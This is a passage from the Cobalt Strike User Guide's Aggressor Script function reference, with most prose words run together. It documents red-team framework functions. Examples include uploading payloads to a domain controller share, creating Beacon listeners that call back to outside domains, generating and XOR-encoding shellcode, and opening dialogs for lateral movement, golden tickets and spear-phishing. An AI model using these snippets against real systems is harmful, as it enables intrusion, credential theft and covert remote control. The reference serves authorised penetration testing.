AggressorScript/Functions $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thePIDtotakethetokenfrom. $3-theOpenProcessTokenaccessmask. Example alias token-store_steal_and_use { btoken_store_steal_and_use($1, int($2), 11); } btoken_store_use AskBeacontouseatokenfromthetokenstore. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thetokenID. Example alias token-store_use { btoken_store_use($1, int($2)); } bunlink AskBeacontodelinkaBeaconitsconnectedtooveraTCPsocketornamedpipe. Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thetargethosttounlink(specifiedasanIPaddress) $3-(optional)thePIDofthetargetsessiontounlink Example CobaltStrikeUserGuide www.fortra.com page:346

AggressorScript/Functions bunlink($1, "172.16.48.3"); bupload AskaBeacontouploadafile Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-thelocalpathtothefiletoupload Example bupload($1, script_resource("evil.exe")); bupload_raw AskaBeacontouploadafile Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. $2-theremotefilenameofthefile $3-therawcontentofthefile $4-(optional)thelocalpathtothefile(ifthereisone) Example $data = artifact("my listener", "exe"); bupload_raw($1, "\\DC\C$\foo.exe", $data); bwdigest REMOVED Removed in Cobalt Strike 4.0. Use &bmimikatz directly. bwinrm CobaltStrikeUserGuide www.fortra.com page:347

AggressorScript/Functions REMOVED Removed in Cobalt Strike 4.0. Use &bjump with winrm or winrm64 built-in options. bwmi REMOVED Removed in Cobalt Strike 4.0. call Issueacalltotheteamserver. Arguments $1-thecommandname $2-acallbacktoreceivearesponsetothisrequest.Thecallbackwillreceivetwoarguments. Thefirstisthecallname.Thesecondistheresponse. ...-oneormoreargumentstopassintothiscall. Example call("aggressor.ping", { warn(@_); }, "this is my value"); closeClient ClosethecurrentCobaltStriketeamserverconnection. Example closeClient(); colorPanel GenerateaJavacomponenttosetaccentcolorswithinCobaltStrike'sdatamodel Arguments $1-theprefix CobaltStrikeUserGuide www.fortra.com page:348

AggressorScript/Functions $2-anarrayofIDstochangecolorsfor Example popup targets { menu "&Color" { insert_component(colorPanel("targets", $1)); } } Seealso &highlight credential_add Addacredentialtothedatamodel Arguments $1-username $2-password $3-realm $4-source $5-host Example command falsecreds { for ($x = 0; $x < 100; $x++) { credential_add("user $+ $x", "password $+ $x"); } } credentials ReturnsalistofapplicationcredentialsinCobaltStrike'sdatamodel. CobaltStrikeUserGuide www.fortra.com page:349

AggressorScript/Functions Returns Anarrayofdictionaryobjectswithinformationabouteachcredentialentry. Example printAll(credentials()); custom_event BroadcastacustomeventtoallCobaltStrikeclients. Arguments $1-thetopicname $2-theeventdata Example custom_event("my-topic", %(foo => 42, bar => "hello")); custom_event_private SendacustomeventtoonespecificCobaltStrikeclient. Arguments $1-whotosendthecustomeventto $2-thetopicname $3-theeventdata Example custom_event_private("neo", "my-topic", 42); data_keys CobaltStrikeUserGuide www.fortra.com page:350

AggressorScript/Functions Listthequery-ablekeysfromCobaltStrike'sdatamodel Returns Alistofkeysthatyoumayquerywith&data_query Example foreach $key (data_keys()) { println("\n\c4=== $key ===\n"); println(data_query($key)); } data_query QueriesCobaltStrike'sdatamodel Arguments $1-thekeytopullfromthedatamodel Returns ASleeprepresentationofthequerieddata. Example println(data_query("targets")); dbutton_action Addsanactionbuttontoa&dialog.Whenthisbuttonispressed,thedialogclosesandits callbackiscalled.Youmayaddmultiplebuttonstoadialog.CobaltStrikewilllinethesebuttons upinarowandcenterthematthebottomofthedialog. Arguments $1-the$dialogobject $2-thebuttonlabel CobaltStrikeUserGuide www.fortra.com page:351

AggressorScript/Functions Example dbutton_action($dialog, "Start"); dbutton_action($dialog, "Stop"); dbutton_help AddsaHelpbuttontoa&dialog.Whenthisbuttonispressed,CobaltStrikewillopentheuser's browsertothespecifiedURL. Arguments $1-the$dialogobject $2-theURLtogoto Example dbutton_help($dialog, "http://www.google.com"); dialog Createadialog.Use&dialog_showtoshowit. Arguments $1-thetitleofthedialog $2-a%dictionarymappingrownamestodefaultvalues $3-acallbackfunction.Calledwhentheuserpressesa&dbutton_actionbutton.$1isa referencetothedialog.$2isthebuttonname.$3isadictionarythatmapseachrow'snameto itsvalue. Returns Ascalarwitha$dialogobject. Example CobaltStrikeUserGuide www.fortra.com page:352

AggressorScript/Functions sub callback {

prints: Pressed Go, a is: Apple

println("Pressed $2 $+ , a is: " . $3['a']); } $dialog = dialog("Hello World", %(a => "Apple", b => "Bat"), &callback); drow_text($dialog, "a", "Fruit: "); drow_text($dialog, "b", "Rodent: "); dbutton_action($dialog, "Go"); dialog_show($dialog); dialog_description Addsadescriptiontoa&dialog Arguments $1-a$dialogobject $2-thedescriptionofthisdialog Example dialog_description($dialog, "I am the Hello World dialog."); dialog_show Showsa&dialog. Arguments $1-the$dialogobject Example dialog_show($dialog); dispatch_event CallafunctioninJavaSwing'sEventDispatchThread.Java'sSwingLibraryisnotthreadsafe. AllchangestotheuserinterfaceshouldhappenfromtheEventDispatchThread. CobaltStrikeUserGuide www.fortra.com page:353

AggressorScript/Functions Arguments $1-thefunctiontocall Example dispatch_event({ println("Hello World"); }); downloads ReturnsalistofdownloadsinCobaltStrike'sdatamodel. Returns Anarrayofdictionaryobjectswithinformationabouteachdownloadedfile. Example printAll(downloads()); drow_beacon Addsabeaconselectionrowtoa&dialog Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow Example drow_beacon($dialog, "bid", "Session: "); drow_checkbox CobaltStrikeUserGuide www.fortra.com page:354

AggressorScript/Functions Addsacheckboxtoa&dialog Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow $4-thetextnexttothecheckbox Example drow_checkbox($dialog, "box", "Scary: ", "Check me... if you dare"); drow_combobox Addsacomboboxtoa&dialog Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow $4-anarrayofoptionstochoosefrom Example drow_combobox($dialog, "combo", "Options", @("apple", "bat", "cat")); drow_exploits Addsaprivilegeescalationexploitselectionrowtoa&dialog Arguments $1-a$dialogobject CobaltStrikeUserGuide www.fortra.com page:355

AggressorScript/Functions $2-thenameofthisrow $3-thelabelforthisrow Example drow_exploits($dialog, "exploit", "Exploit: "); drow_file Addsafilechooserrowtoa&dialog Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow Example drow_file($dialog, "file", "Choose: "); drow_interface AddsaVPNinterfaceselectionrowtoa&dialog Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow Example drow_interface($dialog, "int", "Interface: "); CobaltStrikeUserGuide www.fortra.com page:356

AggressorScript/Functions drow_krbtgt Addsakrbtgtselectionrowtoa&dialog Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow Example drow_krbtgt($dialog, "hash", "krbtgt hash: "); drow_listener Addsalistenerselectionrowtoa&dialog.Thisrowonlyshowslistenerswithstagers(e.g., windows/beacon_https/reverse_https). Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow Example drow_listener($dialog, "listener", "Listener: "); drow_listener_smb DEPRECATED This function is deprecated in Cobalt Strike 4.0. It's now equivalent to &drow_listener_stage drow_listener_stage CobaltStrikeUserGuide www.fortra.com page:357

AggressorScript/Functions Addsalistenerselectionrowtoa&dialog.ThisrowshowsallBeaconandForeignlistener payloads. Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow Example drow_listener_stage($dialog, "listener", "Stage: "); drow_mailserver Addsamailserverfieldtoa&dialog. Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow Example drow_mailserver($dialog, "mail", "SMTP Server: "); drow_proxyserver DEPRECATED This function is deprecated in Cobalt Strike 4.0. The proxy configuration is now tied directly to the listener. Addsaproxyserverfieldtoa&dialog. Arguments $1-a$dialogobject CobaltStrikeUserGuide www.fortra.com page:358

AggressorScript/Functions $2-thenameofthisrow $3-thelabelforthisrow Example drow_proxyserver($dialog, "proxy", "Proxy: "); drow_site Addsasite/URLfieldtoa&dialog. Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow Example drow_site($dialog, "url", "Site: "); drow_text Addsatextfieldrowtoa&dialog Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow $4-Optional.Thewidthofthistextfield(incharacters).Thisvalueisn'talwayshonored(it won'tshrinkthefield,butitwillmakeitwider). Example CobaltStrikeUserGuide www.fortra.com page:359

AggressorScript/Functions drow_text($dialog, "name", "Name: "); drow_text_big Addsamulti-linetextfieldtoa&dialog Arguments $1-a$dialogobject $2-thenameofthisrow $3-thelabelforthisrow Example drow_text_big($dialog, "addr", "Address: "); dstamp Formatatimeintoadate/timevalue.Thisvalueincludesseconds. Arguments $1-thetime[millisecondssincetheUNIXepoch] Example println("The time is now: " . dstamp(ticks())); Seealso &tstamp elog Publishanotificationtotheeventlog Arguments CobaltStrikeUserGuide www.fortra.com page:360

AggressorScript/Functions $1-themessage Example elog("The robot invasion has begun!"); encode Obfuscateaposition-independentblobofcodewithanencoder. Arguments $1-positionindependentcode(e.g.,shellcode,"raw"stagelessBeacon)toapplyencoderto $2-theencodertouse $3-thearchitecture(e.g.,x86,x64) Encoder Description alpha Alphanumericencoder(x86-only) xor XOR encoder Notes l Theencodedposition-independentblobmustrunfrom amemorypagethathasRWX permissionsorthedecodestepwillcrashthecurrentprocess. l alpha encoder:TheEDIregistermustcontaintheaddressoftheencodedblob. &encodeprependsa10-byte(non-alphanumeric)program tothebeginningofthe alphanumericencodedblob.Thisprogram calculatesthelocationoftheencodedblob andsetsEDIforyou.IfyouplantosetEDIyourself,youmayremovethesefirst10bytes. Returns Aposition-independentblobthatdecodestheoriginalstringandpassesexecutiontoit. Example

generate shellcode for a listener

$stager = shellcode("my listener", false "x86"); CobaltStrikeUserGuide www.fortra.com page:361

AggressorScript/Functions

encode it.

$stager = encode($stager, "xor", "x86"); extract_reflective_loader ExtracttheexecutablecodeforareflectiveloaderfromaBeaconObjectFile(BOF). Arguments $1-BeaconObjectFiledatathatcontainsareflectiveloader. Returns TheReflectiveLoaderbinaryexecutablecodeextractedfromtheBeaconObjectFiledata. Example SeeBEACON_RDLL_GENERATEhook

---------------------------------------------------------------------

extract loader from BOF.

---------------------------------------------------------------------

$loader = extract_reflective_loader($data); file_browser OpentheFileBrowser.Thisfunctiondoesnothaveanyparameters. fireAlias Runsauser-definedalias Arguments $1-thebeaconidtorunthealiasagainst $2-thealiasnametorun $3-theargumentstopasstothealias. Example CobaltStrikeUserGuide www.fortra.com page:362

AggressorScript/Functions

run the foo alias when a new Beacon comes in

on beacon_initial { fireAlias($1, "foo", "bar!"); } fireEvent Fireanevent. Arguments $1-theeventname ...-theeventarguments. Example on foo { println("Argument is: $1"); } fireEvent("foo", "Hello World!"); format_size Formatsanumberintoasize(e.g.,1024=>1kb) Arguments $1-thesizetoformat Returns Astringrepresentingahumanreadabledatasize. Example println(format_size(1024)); getAggressorClient CobaltStrikeUserGuide www.fortra.com page:363

AggressorScript/Functions Returnstheaggressor.AggressorClientJavaobject.Thiscanreachanythinginternalwithinthe currentCobaltStrikeclientcontext. Example $client = getAggressorClient(); gunzip Decompressastring(GZIP). Arguments $1-thestringtocompress Returns Theargumentprocessedbythegzipde-compressor Example println(gunzip(gzip("this is a test"))); Seealso &gzip gzip GZIPastring. Arguments $1-thestringtocompress Returns Theargumentprocessedbythegzipcompressor Example CobaltStrikeUserGuide www.fortra.com page:364

AggressorScript/Functions println(gzip("this is a test")); Seealso &gunzip highlight Insertanaccent(colorhighlight)intoCobaltStrike'sdatamodel Arguments $1-thedatamodel $2-anarrayofrowstohighlight $3-theaccenttype Notes l Datamodelrowsinclude:applications,beacons,credentials,listeners,services,and targets. l Accentoptionsare: Accent Color [empty] nohighlight good Green bad Red neutral Yellow ignore Grey cancel DarkBlue Example command admincreds { local('@creds');

find all of our creds that are user Administrator.

foreach $entry (credentials()) { CobaltStrikeUserGuide www.fortra.com page:365

AggressorScript/Functions if ($entry['user'] eq "Administrator") { push(@creds, $entry); } }

highlight all of them green!

highlight("credentials", @creds, "good"); } host_delete Deleteahostfromthetargetsmodel Arguments $1-theIPv4orIPv6addressofthistarget[youmayspecifyanarrayofhoststoo] Example

clear all hosts

host_delete(hosts()); host_info Getinformationaboutatarget. Arguments $1-thehostIPv4orIPv6address $2-[Optional]thekeytoextractavaluefor Returns %info = host_info("address"); Returnsadictionarywithknowninformationaboutthistarget. $value = host_info("address", "key"); Returnsthevalueforthespecifiedkeyfromthistarget'sentryinthedatamodel. CobaltStrikeUserGuide www.fortra.com page:366

AggressorScript/Functions Example

create a script console alias to dump host info

command host { println("Host $1"); foreach $key => $value (host_info($1)) { println("$[15]key $value"); } } host_update Addorupdateahostinthetargetsmodel Arguments $1-theIPv4orIPv6addressofthistarget[youmayspecifyanarrayofhoststoo] $2-theDNSnameofthistarget $3-thetarget'soperatingsystem $4-theoperatingsystemversionnumber(e.g.,10.0) $5-anoteforthetarget. Note Youmayspecifya$nullvalueforanyargumentand,ifthehostexists,nochangewillbemade tothatvalue. Example host_update("192.168.20.3", "DC", "Windows", 10.0); hosts ReturnsalistofIPaddressesfromCobaltStrike'stargetmodel Returns CobaltStrikeUserGuide www.fortra.com page:367

AggressorScript/Functions AnarrayofIPaddresses Example printAll(hosts()); insert_component Addajavax.swing.JComponentobjecttothemenutree Arguments $1-thecomponenttoadd insert_menu Bringmenusassociatedwithapopuphookintothecurrentmenutree. Arguments $1-thepopuphook ...-additionalargumentsarepassedtothechildpopuphook. Example popup beacon {

menu definitions above this point

insert_menu("beacon_bottom", $1);

menu definitions below this point

} iprange GenerateanarrayofIPv4addressesbasedonastringdescription Arguments CobaltStrikeUserGuide www.fortra.com page:368

AggressorScript/Functions $1-astringwithadescriptionofIPv4ranges Range Result 192.168.1.2 TheIP4address192.168.1.2 192.168.1.1,192.168.1.2 TheIPv4addresses192.168.1.1and192.168.1.2 192.168.1.0/24 TheIPv4addresses192.168.1.0through192.168.1.255 192.168.1.18-192.168.1.30 TheIPv4addresses192.168.1.18through192.168.1.29 192.168.1.18-30 TheIPv4addresses192.168.1.18through192.168.1.29 Returns AnarrayofIPv4addresseswithinthespecifiedranges. Example printAll(iprange("192.168.1.0/25")); keystrokes ReturnsalistofkeystrokesfromCobaltStrike'sdatamodel. Returns Anarrayofdictionaryobjectswithinformationaboutrecordedkeystrokes. Example printAll(keystrokes()); licenseKey DEPRECATED This function is deprecated in Cobalt Strike 4.6. The function will now return an empty string. GetthelicensekeyforthisinstanceofCobaltStrike Returns CobaltStrikeUserGuide www.fortra.com page:369

AggressorScript/Functions Yourlicensekey. Example println("Your key is: " . licenseKey()); listener_create DEPRECATED This function is deprecated in Cobalt Strike 4.0. Use &listener_create_ext Createanewlistener. Arguments $1-thelistenername $2-thepayload(e.g.,windows/beacon_http/reverse_http) $3-thelistenerhost $4-thelistenerport $5-acommaseparatedlistofaddressesforlistenertobeaconto Example

create a foreign listener

listener_create("My Metasploit", "windows/foreign_https/reverse_https", "ads.losenolove.com", 443);

create an HTTP Beacon listener

listener_create("Beacon HTTP", "windows/beacon_http/reverse_http", "www.losenolove.com", 80, "www.losenolove.com, www2.losenolove.com"); listener_create_ext Createanewlistener. Arguments $1-thelistenername CobaltStrikeUserGuide www.fortra.com page:370

AggressorScript/Functions $2-thepayload(e.g.,windows/beacon_http/reverse_http) $3-amapwithkey/valuepairsthatspecifyoptionsforthelistener Note Thefollowingpayloadoptionsarevalidfor$2: Payload Type windows/beacon_dns/reverse_dns_txt BeaconDNS windows/beacon_http/reverse_http BeaconHTTP windows/beacon_https/reverse_https BeaconHTTPS windows/beacon_bind_pipe BeaconSMB windows/beacon_bind_tcp BeaconTCP windows/beacon_extc2 ExternalC2 windows/foreign/reverse_http ForeignHTTP windows/foreign/reverse_https ForeignHTTPS Thefollowingkeysarevalidfor$3: Key DNS HTTP/S SMB TCP (Bind) althost HTTPHostHeader bindto bindport bindport beacons c2hosts c2hosts bindhost host staginghost staginghost maxretry maxretry maxretry port c2port c2port pipename port profile profilevariant proxy proxyconfig strategy hostrotation hostrotation ThefollowinghostrotationValuesarevalidforthe'strategy'Key: CobaltStrikeUserGuide www.fortra.com page:371

AggressorScript/Functions Option round-robin random failover failover-5x failover-50x failover-100x failover-1m failover-5m failover-15m failover-30m failover-1h failover-3h failover-6h failover-12h failover-1d rotate-1m rotate-5m rotate-15m rotate-30m rotate-1h rotate-3h rotate-6h rotate-12h rotate-1d Note Themaxretryvalueusesthefollowingsyntaxofexit-[max_attempts]-[increase_attempts]- [duration][m,h,d].Forexample'exit-10-5-5m'willexitbeaconafter10failedattemptsandwill increasesleeptimeafter5failedattemptsto5minutes.Thesleeptimewillnotbeupdatedifthe currentsleeptimeisgreaterthanthespecifieddurationvalue.Thesleeptimewillbeaffectedby CobaltStrikeUserGuide www.fortra.com page:372

AggressorScript/Functions thecurrentjittervalue.Onasuccessfulconnectionthefailedattemptscountwillberesetto zeroandthesleeptimewillberesettothepriorvalue. TheproxyconfigurationstringisthesamestringyouwouldinputintoCobaltStrike'slistener dialog.directignoresthelocalproxyconfigurationandattemptsadirectconnection. protocol://user:[email protected]:portspecifieswhichproxyconfigurationthe artifactshoulduse.Theusernameandpasswordareoptional(e.g., protocol://host:portisfine).Theacceptableprotocolsaresocksandhttp.Setthe proxyconfigurationstringto$nullor""tousethedefaultbehavior. Example

create a foreign listener

listener_create_ext("My Metasploit", "windows/foreign/reverse_https", %(host => "ads.losenolove.com", port => 443));

create an HTTP Beacon listener

listener_create_ext("Beacon HTTP", "windows/beacon_http/reverse_http", %(host => "www.losenolove.com", port => 80, beacons => "www.losenolove.com, www2.losenolove.com"));

create an HTTP Beacon listener

listener_create_ext("HTTP", "windows/beacon_http/reverse_http", %(host => "stage.host", profile => "default", port => 80, beacons => "b1.host,b2.host", althost => "alt.host", bindto => 8080, strategy => "failover-5x", max_retry => "exit-10-5-5m", proxy => "proxy.host")); listener_delete Stopandremovealistener. Arguments $1-thelistenername Example listener_delete("Beacon HTTP"); CobaltStrikeUserGuide www.fortra.com page:373

AggressorScript/Functions listener_describe Describealistener. Arguments $1-thelistenername $2-(optional)theremotetargetthelistenerisdestinedfor Returns Astringdescribingthelistener Example foreach $name (listeners()) { println("$name is: " . listener_describe($name)); } listener_info Getinformationaboutalistener. Arguments $1-thelistenername $2-(optional)thekeytoextractavaluefor Returns %info = listener_info("listener name"); Returnsadictionarywiththemetadataforthislistener. $value = listener_info("listener name", "key"); Returnsthevalueforthespecifiedkeyfromthislistener'smetadata CobaltStrikeUserGuide www.fortra.com page:374

AggressorScript/Functions Example

create a script console alias to dump listener info

command dump { println("Listener $1"); foreach $key => $value (listener_info($1)) { println("$[15]key $value"); } } listener_pivot_create Createanewpivotlistener. Arguments $1-theBeaconID $2-thelistenername $3-thepayload(e.g.,windows/beacon_reverse_tcp) $4-thelistenerhost $5-thelistenerport Note Theonlyvalidpayloadargumentiswindows/beacon_reverse_tcp. Example

create a pivot listener:

$1 = beaconID, $2 = name, $3 = port

alias plisten { local('$lhost $bid $name $port');

extract our arguments

($bid, $name, $port) = @_;

get the name of our target

$lhost = beacon_info($1, "computer"); CobaltStrikeUserGuide www.fortra.com page:375

AggressorScript/Functions btask($1, "create TCP listener on $lhost $+ : $+ $port"); listener_pivot_create($1, $name, "windows/beacon_reverse_tcp", $lhost, $port); } listener_restart Restartalistener Arguments $1-thelistenername Example listener_restart("Beacon HTTP"); listeners Returnalistoflistenernames(withstagersonly!)acrossallteamserversthisclientis connectedto. Returns Anarrayoflistenernames. Example printAll(listeners()); listeners_local Returnalistoflistenernames.Thisfunctionlimitsitselftothecurrentteamserveronly.External C2listenernamesareomitted. Returns Anarrayoflistenernames. Example CobaltStrikeUserGuide www.fortra.com page:376

AggressorScript/Functions printAll(listeners_local()); listeners_stageless Returnalistoflistenernamesacrossallteamserversthisclientisconnectedto.ExternalC2 listenersarefiltered(asthey'renotactionableviastagingorexportingasaReflectiveDLL). Returns Anarrayoflistenernames. Example printAll(listeners_stageless()); localip GettheIPaddressassociatedwiththeteamserver. Returns Astringwiththeteamserver'sIPaddress. Example println("I am: " . localip()); menubar Addatop-levelitemtothemenubar. Arguments $1-thedescription $2-thepopuphook Example CobaltStrikeUserGuide www.fortra.com page:377

AggressorScript/Functions popup mythings { item "Keep out" { } } menubar("My &Things", "mythings"); mynick GetthenicknameassociatedwiththecurrentCobaltStrikeclient. Returns Astringwithyournickname. Example println("I am: " . mynick()); nextTab Activatethetabthatistotherightofthecurrenttab. Example bind Ctrl+Right { nextTab(); } on Registeraneventhandler.Thisisanalternatetotheonkeyword. Arguments $1-thenameoftheeventtorespondto $2-acallbackfunction.Calledwhentheeventhappens. Example CobaltStrikeUserGuide www.fortra.com page:378

AggressorScript/Functions sub foo { blog($1, "Foo!"); } on("beacon_initial", &foo); openAboutDialog Openthe"AboutCobaltStrike"dialog Example openAboutDialog(); openApplicationManager Opentheapplicationmanager(systemprofilerresults)tab. Example openApplicationManager(); openAutoRunDialog Opentheautorundialog. Example openAutoRunDialog(); openBeaconBrowser Openthebeaconbrowsertab. Example openBeaconBrowser(); openBeaconConsole CobaltStrikeUserGuide www.fortra.com page:379

AggressorScript/Functions OpentheconsoletointeractwithaBeacon Arguments $1-theBeaconIDtoapplythisfeatureto Example item "Interact" { local('$bid'); foreach $bid ($1) { openBeaconConsole($bid); } } openBrowserPivotSetup openthebrowserpivotsetupdialog Arguments $1-theBeaconIDtoapplythisfeatureto Example item "Browser Pivoting" { local('$bid'); foreach $bid ($1) { openBrowserPivotSetup($bid); } } openBypassUACDialog REMOVEDRemovedinCobaltStrike4.1. openCloneSiteDialog Openthedialogforthewebsiteclonetool. Example CobaltStrikeUserGuide www.fortra.com page:380

AggressorScript/Functions openCloneSiteDialog(); openConnectDialog Opentheconnectdialog. Example openConnectDialog(); openCovertVPNSetup opentheCovertVPNsetupdialog Arguments $1-theBeaconIDtoapplythisfeatureto Example item "VPN Pivoting" { local('$bid'); foreach $bid ($1) { openCovertVPNSetup($bid); } } openCredentialManager Openthecredentialmanagertab. Example openCredentialManager(); openDefaultShortcutsDialog OpentheDefaultKeyboardShortcutsdialog.Thisfunctiondoesnothaveanyparameters. CobaltStrikeUserGuide www.fortra.com page:381

AggressorScript/Functions openDownloadBrowser Openthedownloadbrowsertab Example openDownloadBrowser(); openElevateDialog Openthedialogtolaunchaprivilegeescalationexploit. Arguments $1-thebeaconID Example item "Elevate" { local('$bid'); foreach $bid ($1) { openElevateDialog($bid); } } openEventLog Opentheeventlog. Example openEventLog(); openFileBrowser OpenthefilebrowserforaBeacon Arguments CobaltStrikeUserGuide www.fortra.com page:382

AggressorScript/Functions $1-theBeaconIDtoapplythisfeatureto Example item "Browse Files" { local('$bid'); foreach $bid ($1) { openFileBrowser($bid); } } openGoldenTicketDialog openadialogtohelpgenerateagoldenticket Arguments $1-theBeaconIDtoapplythisfeatureto Example item "Golden Ticket" { local('$bid'); foreach $bid ($1) { openGoldenTicketDialog($bid); } } openHTMLApplicationDialog OpentheHTMLApplicationDialog. Example openHTMLApplicationDialog(); openHostFileDialog Openthehostfiledialog. CobaltStrikeUserGuide www.fortra.com page:383

AggressorScript/Functions Example openHostFileDialog(); openInterfaceManager OpenthetabtomanageCovertVPNinterfaces Example openInterfaceManager(); openJavaSignedAppletDialog OpentheJavaSignedAppletdialog Example openJavaSignedAppletDialog(); openJavaSmartAppletDialog OpentheJavaSmartAppletdialog Example openJavaSmartAppletDialog(); openJumpDialog OpenCobaltStrike'slateralmovementdialog Arguments $1-thetypeoflateralmovement.See&beacon_remote_exploitsforalistofoptions.sshand ssh-keyareoptionstoo. $2-anarrayoftargetstoapplythisactionagainst CobaltStrikeUserGuide www.fortra.com page:384

AggressorScript/Functions Example openJumpDialog("psexec_psh", @("192.168.1.3", "192.168.1.4")); openKeystrokeBrowser Openthekeystrokebrowsertab Example openKeystrokeBrowser(); openListenerManager Openthelistenermanager Example openListenerManager(); openMakeTokenDialog openadialogtohelpgenerateanaccesstoken Arguments $1-theBeaconIDtoapplythisfeatureto Example item "Make Token" { local('$bid'); foreach $bid ($1) { openMakeTokenDialog($bid); } } openMalleableProfileDialog CobaltStrikeUserGuide www.fortra.com page:385

AggressorScript/Functions OpenthemalleableC2profiledialog. Example openMalleableProfileDialog(); openOfficeMacro Opentheofficemacroexportdialog Example openOfficeMacroDialog(); openOneLinerDialog OpenthedialogtogenerateaPowerShellone-linerforthisspecificBeaconsession. Arguments $1-thebeaconID Example item "&One-liner" { openOneLinerDialog($1); } openOrActivate IfaBeaconconsoleexists,makeitactive.IfaBeaconconsoledoesnotexist,openit. Arguments $1-theBeaconID Example CobaltStrikeUserGuide www.fortra.com page:386

AggressorScript/Functions item "&Activate" { local('$bid'); foreach $bid ($1) { openOrActivate($bid); } } openPayloadGeneratorDialog OpenthePayloadGeneratordialog. Example openPayloadGeneratorDialog(); openPayloadHelper Openapayloadchooserdialog. Arguments $1-acallbackfunction.Arguments:$1-theselectedlistener. Example openPayloadHelper(lambda({ bspawn($bid, $1); }, $bid => $1)); openPivotListenerSetup openthepivotlistenersetupdialog Arguments $1-theBeaconIDtoapplythisfeatureto Example item "Listener..." { local('$bid'); CobaltStrikeUserGuide www.fortra.com page:387

AggressorScript/Functions foreach $bid ($1) { openPivotListenerSetup($bid); } } openPortScanner Opentheportscannerdialog Arguments $1-anarrayoftargetstoscan Example openPortScanner(@("192.168.1.3")); openPortScannerLocal OpentheportscannerdialogwithoptionstotargetaBeacon'slocalnetwork Arguments $1-thebeacontotargetwiththisfeature Example item "Scan" { local('$bid'); foreach $bid ($1) { openPortScannerLocal($bid); } } openPowerShellWebDialog OpenthedialogtosetupthePowerShellWebDeliveryAttack Example openPowerShellWebDialog(); CobaltStrikeUserGuide www.fortra.com page:388

AggressorScript/Functions openPreferencesDialog Openthepreferencesdialog Example openPreferencesDialog(); openProcessBrowser OpenaprocessbrowserforoneormoreBeacons Arguments $1-theidforthebeacon.ThismaybeanarrayorasingleID. Example item "Processes" { openProcessBrowser($1); } openSOCKSBrowser OpenthetabtolistSOCKSproxyservers Example openSOCKSBrowser(); openSOCKSSetup opentheSOCKSproxyserversetupdialog Arguments $1-theBeaconIDtoapplythisfeatureto Example CobaltStrikeUserGuide www.fortra.com page:389

AggressorScript/Functions item "SOCKS Server" { local('$bid'); foreach $bid ($1) { openSOCKSSetup($bid); } } openScreenshotBrowser Openthescreenshotbrowsertab Example openScreenshotBrowser(); openScriptConsole OpentheAggressorScriptconsole. Example openScriptConsole(); openScriptManager Openthetabforthescriptmanager. Example openScriptManager(); openScriptedWebDialog OpenthedialogtosetupaScriptedWebDeliveryAttack Example openScriptedWebDialog(); CobaltStrikeUserGuide www.fortra.com page:390

AggressorScript/Functions openServiceBrowser Openservicebrowserdialog Arguments $1-anarrayoftargetstoshowservicesfor Example openServiceBrowser(@("192.168.1.3")); openSiteManager Openthesitemanager. Example openSiteManager(); openSpawnAsDialog Opendialogtospawnapayloadasanotheruser Arguments $1-theBeaconIDtoapplythisfeatureto Example item "Spawn As..." { local('$bid'); foreach $bid ($1) { openSpawnAsDialog($bid); } } openSpearPhishDialog CobaltStrikeUserGuide www.fortra.com page:391

AggressorScript/Functions Openthedialogforthespearphishingtool. Example openSpearPhishDialog(); openSystemInformationDialog Openthesysteminformationdialog. Example openSystemInformationDialog(); openSystemProfilerDialog Openthedialogtosetupthesystemprofiler. Example openSystemProfilerDialog(); openTargetBrowser Openthetargetsbrowser Example openTargetBrowser(); openWebLog Opentheweblogtab. Example openWebLog(); CobaltStrikeUserGuide www.fortra.com page:392

AggressorScript/Functions openWindowsDropperDialog REMOVED Removed in Cobalt Strike 4.0. openWindowsExecutableDialog OpenthedialogtogenerateaWindowsexecutable. Example openWindowsExecutableDialog(); openWindowsExecutableStage OpenthedialogtogenerateastagelessWindowsexecutable. Example openWindowsExecutableStage(); openWindowsExecutableStageAllDialog Openthedialogtogenerateallofthestagelesspayloads(inx86andx64)forallofthe configuredlisteners.ThisdialogcanalsobefoundintheUImenuunderPayloads -> Windows Stageless Generate all Payloads. Example openWindowsExecutableStageAllDialog(); payload ExportsarawpayloadforaspecificCobaltStrikelistener. Arguments $1-thelistenername $2-x86|x64thearchitectureofthepayload CobaltStrikeUserGuide www.fortra.com page:393

AggressorScript/Functions $3-exitmethod:'thread'(leavethethreadwhendone)or'process'(exittheprocesswhen done).Use'thread'ifinjectingintoanexistingprocess. $4-Astringvalueforthesystemcallmethod.Validvaluesare: None:UsethestandardWindowsAPIfunction. Direct:UsetheNtversionofthefunction. Indirect:JumptotheappropriateinstructionwithintheNtversionofthefunction. $5-(optional)ThesupportingHTTPlibraryforgeneratedbeacons(wininet|winhttp|$null|blank string). Returns Ascalarcontainingposition-independentcodeforthespecifiedlistener. Example $data = payload("my listener", "x86", "process", "Direct"); $handle = openf(">out.bin"); writeb($handle, $data); closef($handle); payload_bootstrap_hint GettheoffsettofunctionpointerhintsusedbyBeacon'sReflectiveLoader.Populatethesehints withtheasked-forprocessaddressestohaveBeaconloaditselfintomemoryinamoreOPSEC- safeway. Arguments $1-thepayloadposition-independentcode(specifically,Beacon) $2-thefunctiontogetthepatchlocationfor Notes CobaltStrikeUserGuide www.fortra.com page:394

